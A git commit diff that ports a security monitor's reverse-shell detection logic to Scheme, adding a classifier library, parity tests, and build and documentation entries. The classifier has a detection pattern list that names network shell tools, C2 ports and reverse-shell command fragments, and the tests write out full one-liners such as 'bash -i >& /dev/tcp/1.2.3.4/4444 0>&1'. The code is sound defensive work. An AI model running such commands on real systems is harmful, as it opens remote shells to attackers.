Port revshell reverse-shell classifiers to untyped Jerboa

ober

7193baef025c4a7a8714e5a97e10b8530c07c93a

diff --git a/Makefile b/Makefile
index 603ac59..b27bbc3 100644
--- a/Makefile
+++ b/Makefile
@@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme
 BUILD  ?= build/rust
 TYPED  := $(wildcard typed/*.ss)
 
-.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check file-change-check webshell-check platform-mounts-check analyze-cli-check collector-cli-check event-summary-check ioc-check checks clean
+.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check file-change-check webshell-check platform-mounts-check analyze-cli-check collector-cli-check event-summary-check ioc-check revshell-check checks clean
 # Combined libdir path so sibling libraries `(jsecmon ...)` resolve to ./jsecmon
 # (a second --libdirs would replace, not append, the jerboa one).
 LIBDIRS := "$(JERBOA)/lib:$(CURDIR)"
@@ -248,6 +248,14 @@ event-summary-check:
 ioc-check:
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/ioc_check.ss
 
+# Reverse-shell classifiers (secmon src/monitor/revshell.rs): is_shell /
+# is_revshell_tool (exact name), is_c2_port (17-port set), is_legitimate_service
+# (443/8080/8443 + name substring), extract_addr_from_cmdline (/dev/tcp/ split),
+# and classify_connection (checks 1–4, first match). Pure — connection/PID
+# enumeration is the deferred I/O. revshell.rs has no #[test]; the check is spec.
+revshell-check:
+	$(SCHEME) --libdirs $(LIBDIRS) --script examples/revshell_check.ss
+
 # Everything that runs through the Jerboa side of the bridge, one shot.
 checks: kernels-check
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/triage_check.ss
@@ -282,6 +290,7 @@ checks: kernels-check
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/collector_cli_check.ss
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/event_summary_check.ss
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/ioc_check.ss
+	$(SCHEME) --libdirs $(LIBDIRS) --script examples/revshell_check.ss
 
 clean:
 	rm -rf $(BUILD)
diff --git a/README.md b/README.md
index ded368d..1fcb45a 100644
--- a/README.md
+++ b/README.md
@@ -54,6 +54,7 @@ make analyze-cli-check # analyze bin: parse_duration_ms + AlertSink::parse + --f
 make collector-cli-check # collector bin: --after/--format/--db + host normalize + hosts-file
 make event-summary-check # storage readers: extract_pid/extract_process_name/build_summary
 make ioc-check       # storage IOC: detect_ioc_type + is_ipv4 + parse_ioc_text
+make revshell-check  # revshell: is_shell/is_c2_port/is_legitimate + classify_connection
 make checks          # every Jerboa-side check in one shot
 ```
 
@@ -135,4 +136,5 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage).
 | `bin/collector` (CLI/hosts parse helpers) | `jsecmon/collector-cli.ss` | ✅ **untyped layer** — the pure argument/hosts parsing of the `collector` binary, with the async polling + ECIES/PSK key loading + SQLite I/O deferred: `parse_after_seq` (first `--after` value as u64, `unwrap_or(0)` so junk/negative/≥2⁶⁴ → 0), `parse_format` (→ `'json`/`'human`/`'quiet`; a per-index scan where an unknown `--format` value does **not** consume the value — differs from analyze's `is_json_format` — and the no-flag default is `quiet` when a `--db` is present else `human`), `parse_db_path`, `normalize_host` (append `:31337` unless the host already contains **any** `:`, so bare IPv6 is left as-is, faithfully), `collect_positional_hosts` (skip the four value flags **and** their values, drop other `--` args, normalize the rest), and `parse_hosts_file`'s pure contents→hosts core (trim, drop blanks/`#` comments, normalize). secmon has no `#[test]` here so `make collector-cli-check` asserts against the Rust source. |
 | `storage` event readers (`extract_pid` / `extract_process_name` / `build_summary`) | `jsecmon/event-summary.ss` | ✅ **untyped layer** — the pure readers that turn an event's flat JSON `data` (a hash table, as `string->json-object` yields) back into a pid / process name / one-line summary, with the SQLite query + serde plumbing left to storage. Each field is read through a **typed** getter so only a JSON value of the right type counts (`as_u64`/`as_i64`/`as_str`/`as_bool`); `extract_pid` walks pid→source_pid→spawned_pid→web_server_pid and truncates the first hit to **u32** (Rust `v as u32`, so ≥2³² wraps, and pid 0 is a real hit); `extract_process_name` walks process_name→name→exe→source_process→spawned_process. `build_summary` reproduces every per-type format with the exact `unwrap_or` defaults (`"?"`/`0`), the `process_exit` exit-code *option* (Some(0) still prints `(0)`), the nested `selinux_event` perm/class/path-vs-message branches with the 80-char message cap, and the catch-all that scans values **in sorted key order** (serde's default BTreeMap) for the first string longer than 3 chars (capped at 80) else the event type. `make event-summary-check` (43 cases) reproduces secmon's `test_extract_helpers` + `test_build_summary` and adds every per-type / typed-getter corner derived from the source. |
 | `storage` IOC parsing (`detect_ioc_type` / `is_ipv4` / `parse_ioc_text`) | `jsecmon/ioc.ss` | ✅ **untyped layer** — the pure indicator classifier behind threat-list ingestion (the file read in `load_ioc_file` is the deferred I/O). `detect_ioc_type` is first-match ip→hash→domain→process: `is_ipv4` (split on `.`, exactly 4 non-empty ≤3-char all-digit groups — **no** 0–255 range check, so `999.999.999.999` is still Ip and `1.2.3.4444` is not), then IPv6 (`:` present and every char hex-or-`:`), then a 32/40/64-length all-hex Hash (MD5/SHA1/SHA256, case-insensitive), then a `.`-bearing space-free Domain, else Process. `parse_ioc_text` trims, drops blanks and `#` comments, and tags each remaining line (order preserved). `make ioc-check` reproduces the `test_ioc_type_detection` #[test] plus the is_ipv4 / parse corners. |
+| `monitor/revshell` reverse-shell classifiers (`classify_connection` + helpers) | `jsecmon/revshell.ss` | ✅ **untyped layer** — the pure deciders of the reverse-shell monitor (connection/PID enumeration, event emission, and the dedup set stay in the monitor loop). `is_shell` / `is_revshell_tool` are **exact** lower-cased name membership; `is_c2_port` tests the 17-port C2 set; `is_legitimate_service` fires only on 443/8080/8443 and matches a **substring** of the name. `extract_addr_from_cmdline` finds `/dev/tcp/`, splits the remainder on `/`, and on ≥2 pieces returns `(addr . u16-port)` (first whitespace token of piece 1, junk/out-of-range→0), else `("unknown" . 0)`. `classify_connection` runs checks 1–4 first-match: shell→`shell-outbound`, C2-port-and-not-legit→`known-c2-port`, revshell-tool→`shell-outbound`, any `REVSHELL_PATTERNS` substring→`suspicious-redirect`, else `#f`. revshell.rs has no #[test], so `make revshell-check` (47 cases) **is** the spec. |
 | monitors / server / ebpf / dtrace | —  | ⏳ I/O+async+FFI, last           |
diff --git a/examples/revshell_check.ss b/examples/revshell_check.ss
new file mode 100644
index 0000000..8c1979a
--- /dev/null
+++ b/examples/revshell_check.ss
@@ -0,0 +1,133 @@
+;;; Parity check for (jsecmon revshell) against secmon src/monitor/revshell.rs.
+;;; revshell.rs has no #[test], so every expectation here derives from the Rust
+;;; source: the SHELL_NAMES / REVSHELL_TOOLS / LEGITIMATE_SERVICES / C2_PORTS /
+;;; REVSHELL_PATTERNS sets and detect_reverse_shells' per-connection checks 1–4.
+;;;
+;;;   scheme --libdirs "$JERBOA/lib:." --script examples/revshell_check.ss
+
+(import (jerboa prelude)
+        (jsecmon revshell))
+
+(def fails 0)
+(def (check name got want)
+  (let ((ok (equal? got want)))
+    (unless ok (set! fails (+ fails 1)))
+    (displayln (if ok "  ok   " "  FAIL ") name
+               (if ok "" (str "   got " got " want " want)))))
+
+;; ── is-shell: exact membership in SHELL_NAMES ────────────────────────────────
+(displayln "is-shell:")
+(check "bash"   (is-shell "bash") #t)
+(check "sh"     (is-shell "sh") #t)
+(check "fish"   (is-shell "fish") #t)
+(check "ash"    (is-shell "ash") #t)
+(check "exact only: basht"  (is-shell "basht") #f)
+(check "exact only: -bash"  (is-shell "-bash") #f)
+(check "curl not shell"     (is-shell "curl") #f)
+
+;; ── is-revshell-tool: exact membership in REVSHELL_TOOLS ──────────────────────
+(displayln "is-revshell-tool:")
+(check "nc"      (is-revshell-tool "nc") #t)
+(check "ncat"    (is-revshell-tool "ncat") #t)
+(check "socat"   (is-revshell-tool "socat") #t)
+(check "python3" (is-revshell-tool "python3") #t)
+(check "gawk"    (is-revshell-tool "gawk") #t)
+(check "bash not a tool" (is-revshell-tool "bash") #f)
+(check "ncx not a tool"  (is-revshell-tool "ncx") #f)
+
+;; ── is-c2-port: membership in the 17-port C2 list ─────────────────────────────
+(displayln "is-c2-port:")
+(check "4444"  (is-c2-port 4444) #t)
+(check "31337" (is-c2-port 31337) #t)
+(check "1337"  (is-c2-port 1337) #t)
+(check "65535" (is-c2-port 65535) #t)
+(check "443"   (is-c2-port 443) #t)
+(check "8080"  (is-c2-port 8080) #t)
+(check "22 not c2"   (is-c2-port 22) #f)
+(check "80 not c2"   (is-c2-port 80) #f)
+(check "4446 not c2" (is-c2-port 4446) #f)
+
+;; ── is-legitimate-service: only on 443/8080/8443, SUBSTRING of name ───────────
+(displayln "is-legitimate-service:")
+(check "curl on 443"   (is-legitimate-service "curl" 443) #t)
+(check "wget on 8080"  (is-legitimate-service "wget" 8080) #t)
+(check "chrome on 8443"(is-legitimate-service "chrome" 8443) #t)
+;; substring match: a longer proc name containing a legit token still matches
+(check "apt-get on 443" (is-legitimate-service "apt-get" 443) #t)
+(check "mycurl on 443 (substring)" (is-legitimate-service "mycurl" 443) #t)
+;; not on a legit port -> #f even for a legit name
+(check "curl on 4444 -> #f" (is-legitimate-service "curl" 4444) #f)
+(check "curl on 80 -> #f"   (is-legitimate-service "curl" 80) #f)
+;; legit port but non-legit name -> #f
+(check "nc on 443 -> #f"    (is-legitimate-service "nc" 443) #f)
+
+;; ── extract-addr-from-cmdline: find /dev/tcp/, split remainder on '/' ─────────
+(displayln "extract-addr-from-cmdline:")
+(check "bash /dev/tcp redirect"
+       (extract-addr-from-cmdline "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1")
+       (cons "1.2.3.4" 4444))
+(check "trailing slash -> port 0"
+       (extract-addr-from-cmdline "x /dev/tcp/1.2.3.4/")
+       (cons "1.2.3.4" 0))
+(check "no /dev/tcp -> unknown"
+       (extract-addr-from-cmdline "echo hi")
+       (cons "unknown" 0))
+;; only one piece after /dev/tcp/ (no second slash) -> unknown . 0
+(check "addr only, no slash -> unknown"
+       (extract-addr-from-cmdline "exec 5<>/dev/tcp/10.0.0.5")
+       (cons "unknown" 0))
+;; port is first whitespace token of the second piece; rest of cmdline ignored
+(check "port token then space"
+       (extract-addr-from-cmdline "/dev/tcp/9.9.9.9/8888 then junk")
+       (cons "9.9.9.9" 8888))
+;; out-of-range / junk port -> 0
+(check "junk port -> 0"
+       (extract-addr-from-cmdline "/dev/tcp/9.9.9.9/notaport")
+       (cons "9.9.9.9" 0))
+(check "port >65535 -> 0"
+       (extract-addr-from-cmdline "/dev/tcp/9.9.9.9/70000")
+       (cons "9.9.9.9" 0))
+
+;; ── classify-connection: checks 1–4, first match wins ────────────────────────
+(displayln "classify-connection:")
+;; 1. shell name -> shell-outbound (beats everything)
+(check "bash -> shell-outbound"  (classify-connection "bash" "" 1234) 'shell-outbound)
+(check "BASH upper -> shell-outbound (caller lowercases)"
+       (classify-connection "BASH" "" 22) 'shell-outbound)
+;; 2. c2 port (non-legit) -> known-c2-port
+(check "weird on 4444 -> known-c2-port"
+       (classify-connection "weird" "" 4444) 'known-c2-port)
+(check "weird on 443 -> known-c2-port"
+       (classify-connection "weird" "" 443) 'known-c2-port)
+;; 2 suppressed: legit service on 443 is NOT a c2 hit, falls through to #f
+(check "curl on 443 legit -> #f"
+       (classify-connection "curl" "" 443) #f)
+(check "wget on 8080 legit -> #f"
+       (classify-connection "wget" "" 8080) #f)
+;; 3. revshell tool -> shell-outbound
+(check "nc -> shell-outbound"
+       (classify-connection "nc" "" 12) 'shell-outbound)
+(check "socat -> shell-outbound"
+       (classify-connection "socat" "" 80) 'shell-outbound)
+;; 4. revshell pattern in cmdline -> suspicious-redirect
+(check "redirect pattern -> suspicious-redirect"
+       (classify-connection "x" "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" 12)
+       'suspicious-redirect)
+(check "mkfifo pattern -> suspicious-redirect"
+       (classify-connection "x" "rm -f /tmp/f;mkfifo /tmp/f" 12)
+       'suspicious-redirect)
+;; cmdline lower-cased before pattern scan
+(check "uppercase pattern still matches"
+       (classify-connection "x" "EXEC 5<>/DEV/TCP/1.2.3.4/4444" 12)
+       'suspicious-redirect)
+;; nothing matches -> #f
+(check "benign -> #f"
+       (classify-connection "myapp" "myapp --serve" 80) #f)
+;; ordering: revshell tool on a c2 port -> check 2 (c2 port) wins over check 3
+(check "nc on 4444 -> known-c2-port (check 2 before 3)"
+       (classify-connection "nc" "" 4444) 'known-c2-port)
+
+(newline)
+(if (= fails 0)
+    (displayln "OK: revshell matches secmon's monitor/revshell.rs classifiers.")
+    (begin (displayln fails " FAILURES") (exit 1)))
diff --git a/jsecmon/revshell.ss b/jsecmon/revshell.ss
new file mode 100644
index 0000000..e686d26
--- /dev/null
+++ b/jsecmon/revshell.ss
@@ -0,0 +1,117 @@
+#!chezscheme
+;;; jsecmon reverse-shell classifiers (secmon src/monitor/revshell.rs), untyped.
+;;;
+;;; The pure deciders of the reverse-shell monitor, with the connection/PID
+;;; enumeration, event emission, and dedup set left to the monitor loop:
+;;;   is-shell            : name -> #t | #f      (exact, lower-cased name)
+;;;   is-revshell-tool    : name -> #t | #f      (exact)
+;;;   is-c2-port          : port -> #t | #f
+;;;   is-legitimate-service : name port -> #t | #f
+;;;   extract-addr-from-cmdline : cmdline -> (addr . port)
+;;;   classify-connection : name cmdline port -> method | #f
+;;; detection methods map to the symbols 'shell-outbound / 'known-c2-port /
+;;; 'suspicious-redirect (ReverseShellMethod), #f meaning "not flagged".
+;;;
+;;; classify-connection mirrors detect_reverse_shells' per-connection checks
+;;; 1–4, in order (first match wins), lowercasing the name and cmdline the way
+;;; the caller does:
+;;;   1. is-shell name                                  -> 'shell-outbound
+;;;   2. is-c2-port port AND NOT is-legitimate-service  -> 'known-c2-port
+;;;   3. is-revshell-tool name                          -> 'shell-outbound
+;;;   4. any REVSHELL_PATTERNS substring in the cmdline -> 'suspicious-redirect
+;;; Faithful corners: is-shell / is-revshell-tool are EXACT equality (the caller
+;;; lower-cases), is-legitimate-service only fires on ports 443/8080/8443 and
+;;; uses a SUBSTRING of the name, and the C2-port check is suppressed for those
+;;; legitimate services. extract-addr-from-cmdline finds "/dev/tcp/", splits the
+;;; remainder on '/', and on ≥2 pieces returns (piece0 . u16-of-first-token);
+;;; the port is the first whitespace token parsed as u16 (junk / out-of-range /
+;;; missing -> 0); anything else returns ("unknown" . 0).
+;;;
+;;; revshell.rs has no #[test], so examples/revshell_check.ss derives every
+;;; expectation from the Rust source and IS the spec for this port.
+
+(library (jsecmon revshell)
+  (export is-shell is-revshell-tool is-c2-port is-legitimate-service
+          extract-addr-from-cmdline classify-connection)
+  (import (except (chezscheme)
+                  make-hash-table hash-table?
+                  sort sort!
+                  printf fprintf
+                  path-extension path-absolute?
+                  with-input-from-string with-output-to-string
+                  iota 1+ 1-
+                  partition
+                  make-date make-time)
+          (except (jerboa prelude) meta atom?))
+
+  (def *shell-names*
+    '("sh" "bash" "dash" "zsh" "ksh" "csh" "tcsh" "fish" "ash"))
+
+  (def *revshell-tools*
+    '("nc" "ncat" "netcat" "socat" "telnet" "nmap"
+      "python" "python2" "python3" "perl" "ruby" "php" "lua"
+      "openssl" "cryptcat" "awk" "gawk"))
+
+  (def *legitimate-services*
+    '("curl" "wget" "firefox" "chrome" "chromium" "apt" "apt-get"
+      "yum" "dnf" "pacman" "pip" "npm" "cargo"))
+
+  (def *c2-ports*
+    '(4444 4445 5555 6666 6667 7777 8888 9999 1234 1337 31337
+      12345 54321 65535 443 8080 8443))
+
+  ;; suspicious cmdline patterns indicating a reverse shell (in scan order).
+  (def *revshell-patterns*
+    '("/dev/tcp/" "/dev/udp/" "bash -i" "sh -i" "zsh -i" "0>&1" "1>&0" "2>&1"
+      ">&/dev/tcp" ">&/dev/udp" "| /bin/sh" "| /bin/bash" "|/bin/sh" "|/bin/bash"
+      "python -c 'import socket" "python3 -c 'import socket" "perl -e 'use Socket"
+      "ruby -rsocket" "php -r '$sock=fsockopen" "nc -e" "ncat -e" "nc -c" "ncat -c"
+      "mkfifo /tmp/" "mknod /tmp/" "exec 5<>/dev/tcp" "exec 196<>/dev/tcp"
+      "telnet " "rm -f /tmp/f;mkfifo" "bash -c 'bash -i"))
+
+  (def (is-shell name) (if (member name *shell-names*) #t #f))
+  (def (is-revshell-tool name) (if (member name *revshell-tools*) #t #f))
+  (def (is-c2-port port) (if (memv port *c2-ports*) #t #f))
+
+  (def (is-legitimate-service proc-name port)
+    (if (and (memv port '(443 8080 8443))
+             (any (lambda (l) (string-contains proc-name l)) *legitimate-services*))
+        #t #f))
+
+  ;; first non-empty whitespace-delimited token of s, or #f.
+  (def (first-ws-token s)
+    (let ((toks (filter (lambda (x) (not (string-empty? x))) (string-split s #\space))))
+      (if (null? toks) #f (car toks))))
+
+  ;; parse::<u16>().ok().unwrap_or(0): whole token must be a 0..65535 integer.
+  (def (parse-u16-or-0 tok)
+    (if tok
+        (let ((n (string->number tok)))
+          (if (and n (integer? n) (>= n 0) (< n 65536)) n 0))
+        0))
+
+  (def (extract-addr-from-cmdline cmdline)
+    (let ((idx (string-contains cmdline "/dev/tcp/")))
+      (if idx
+          (let* ((rest (substring cmdline (+ idx 9) (string-length cmdline)))
+                 (parts (string-split rest #\/)))
+            (if (>= (length parts) 2)
+                (cons (list-ref parts 0)
+                      (parse-u16-or-0 (first-ws-token (list-ref parts 1))))
+                (cons "unknown" 0)))
+          (cons "unknown" 0))))
+
+  (def (revshell-pattern? cl)
+    (if (any (lambda (p) (string-contains cl p)) *revshell-patterns*) #t #f))
+
+  ;; per-connection classification, checks 1–4 in order; #f if not flagged.
+  (def (classify-connection name cmdline remote-port)
+    (let ((pname (string-downcase name))
+          (cl (string-downcase cmdline)))
+      (or
+        (and (is-shell pname) 'shell-outbound)
+        (and (is-c2-port remote-port)
+             (not (is-legitimate-service pname remote-port))
+             'known-c2-port)
+        (and (is-revshell-tool pname) 'shell-outbound)
+        (and (revshell-pattern? cl) 'suspicious-redirect)))))